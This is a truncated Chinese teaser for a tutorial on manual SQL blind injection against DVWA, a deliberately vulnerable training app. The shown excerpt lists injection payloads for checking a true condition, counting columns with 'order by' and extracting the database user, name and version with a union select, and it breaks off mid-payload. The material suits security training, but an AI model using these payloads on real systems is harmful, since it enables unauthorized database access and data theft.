WEB手动漏洞挖掘-SQL盲注（DVWA实战）

select * from table_name where id = ’ 1’ and 1=1– ’ 在盲注里至少要有一个正确的结果；不然不显示； php 1'order by 5--+ 1'order by 3--+ 1'union select 1,2--+ 1'union select null,CONCAT_WS(CHAR(32,58.32),user(),database(),ver

>>阅读原文<<